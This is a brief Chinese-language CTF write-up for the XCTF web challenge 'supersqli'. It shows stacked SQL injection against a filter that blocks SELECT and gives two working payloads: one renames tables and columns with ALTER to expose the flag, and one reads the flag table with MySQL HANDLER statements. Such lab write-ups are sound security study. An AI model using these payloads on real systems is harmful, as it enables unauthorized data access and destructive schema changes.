xctf-web supersqli
单引号注入,用order by查到了两个column。用union select的时候发现select关键字被过滤了
用分号尝试堆叠注入显示出了两张表
分别查询字段
flag在表1919810931114514中
方法一:
words中有字段id,id应该为表单查询语句中的查询字段。可以猜测sql语句为:select * from words where id='';
因为没有限制alter,rename和change。所以可以通过修改表名来查flag。只需要把原本的words改成其他名字,1919810931114514表改为words,然后把字段flag改为id即可
payload:
1‘;alter table words rename to (任意名称);
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(20);--+
之后用1’ or 1=1--+就可显示flag
(妙啊~~)
方法二:
利用mysql特有的handler查询
payload:1';handler `1919810931114514` open;handler `1919810931114514` read first;--+
handler的使用可参考:https://blog.csdn.net/JesseYoung/article/details/40785137
其他方法后续更新